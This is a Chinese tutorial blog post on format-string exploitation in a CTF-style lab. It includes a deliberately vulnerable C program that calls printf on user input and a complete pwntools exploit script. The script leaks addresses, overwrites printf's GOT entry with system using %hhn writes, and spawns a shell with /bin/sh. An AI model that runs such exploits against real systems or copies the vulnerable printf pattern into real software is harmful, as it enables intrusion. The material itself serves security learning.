格式化字符串漏洞之覆盖大数字
这篇文章我主要是想说,利用格式化字符串漏洞来任意地址写,并且是将printf_got覆盖为system之类的利用手法。
覆盖任意地址为一个很大的数字,这时我们只能一次写1字节或者2字节,因为程序的缓冲区可能没有4字节(也就是0xFFFFFFFF)那么大,容易爆;这里笔者还是建议一次覆盖一字节,这样更保险。
有的师傅可能会迷糊,那如果我的第一个字节为0x22,第二个字节为0x11,在已经写了0x22的前提之下,我改怎么让第二字节覆盖为0x11呢?
初次接触我也有这样的疑惑,这也就是我写这篇文章的原因。
例子
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
char buf[0x101];
int i;
for (i = 0; i < 0x10; ++i) {
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
printf(buf);
}
return 0;
}
gcc test.c -z norelro -m32 -o test
我使用的libc是libc2.27
这个例子我将展示如何将printf_got表中的内容改为system.
- 首先确定我们的输入在栈上的偏移,利用%3$p可以泄露(main+30)地址,然后计算出elf_base,用来获取
printf_got地址
我输入的%3$p,可以看到在0xb位置,同时有一个字节在0xa,这个细节是我们需要注意到的,之后的利用我们要手动补齐这个字节,就是在开头随便写一个b"a".
payload = b"%3$p"
sl(payload)
elf_base = int(io.recv(10),16) - 30 - elf.sym["main"]
printf_got = elf_base + elf.got["printf"]

- 然后将
printf_got写入栈中,也就是在偏移为0xb位置,利用%11$s,可以打印printf_got中内容:
payload = b"a"
payload += p32(printf_got)
payload += b"%11$s"
sl(payload)

- 接着得到libc基址,算出system函数,取出他的后3字节,因为system和printf只有后面3字节不一样,如图。
printf_addr = get_addr()
print("printf_addr ------> "+hex(printf_addr))
libc_base = printf_addr - libc.sym["printf"]
system = libc.sym["system"] + libc_base
by1 = system & 0xff
by2 = ( system >> 8 ) & 0xff
by3 = ( system >> 16) & 0xff
print("by1 -----> "+hex(by1))
print("by2 -----> "+hex(by2))
print("by3 -----> "+hex(by3))

- 修改这三个字节,但是要注意,我们同时修改他们,也就是在同一次循环中修改他们,假如在这次循环中你只修改了一字节,那么下次循环printf找不到真实地址,会报错。
payload = b"b"
payload += b"%" + str(by1-1).encode() + b"c%21$hhn"
payload += b"%" + str(by2 - by1 + 0x100).encode() + b"c%22$hhn"
payload += b"%" + str(by3 - by2 + 0x100).encode() + b"c%23$hhn"
payload = payload.ljust(4*10+1,b"a")
payload += p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(printf_got + 2)
sl(payload)
str(by1-1)是因为前面有一个字节,所以-1.
str(by2 - by1 + 0x100)、str(by3 - by2 + 0x100)这是为了避免by2比by1、by3比by2小的情况。
举个例子:假如by1=0x33,by2=0x22,by3=0x11
那么by2 - by1 + 0x100 = 0xEF,如果是这样by2 - by1 = 0xFFFFFFFFFFFFFFEF,其实也是可以的,因为我们只写一个字节,那么程序只会取最后一字节0xef,此时再加上第一次写的0x33,---> 0xef + 0x33 = 0x122,只取最后一个字节,那就是覆盖为0x22,达到目的。
至于为什么第三个为什么不是by3 - by2 - by1 + 0x100?那是因为在第二次写时,已经整数溢出,又从0x22开始计数,所以就相当于前面只写了0x22字节,故同理第三次为by3 - by2 + 0x100.


- 接下来的输入我们写
/bin/sh就好啦。
exp
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="i386")
io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
gscript = '''
b *$rebase(0x129B)
'''
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
inter = lambda : io.interactive()
def debug():
gdb.attach(io,gdbscript=gscript)
pause()
def get_addr() :
return u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def pwn():
# debug()
payload = b"%3$p"
sl(payload)
elf_base = int(io.recv(10),16) - 30 - elf.sym["main"]
printf_got = elf_base + elf.got["printf"]
payload = b"a"
payload += p32(printf_got)
payload += b"%11$s"
sl(payload)
# pause()
printf_addr = get_addr()
print("printf_addr ------> "+hex(printf_addr))
libc_base = printf_addr - libc.sym["printf"]
system = libc.sym["system"] + libc_base
by1 = system & 0xff
by2 = ( system >> 8 ) & 0xff
by3 = ( system >> 16) & 0xff
print("by1 -----> "+hex(by1))
print("by2 -----> "+hex(by2))
print("by3 -----> "+hex(by3))
debug()
payload = b"b"
payload += b"%" + str(by1-1).encode() + b"c%21$hhn"
payload += b"%" + str(by2 - by1 + 0x100).encode() + b"c%22$hhn"
payload += b"%" + str(by3 - by2 + 0x100).encode() + b"c%23$hhn"
payload = payload.ljust(4*10+1,b"a")
payload += p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(printf_got + 2)
sl(payload)
sl(b"/bin/sh\x00")
inter()
pwn()

浙公网安备 33010602011771号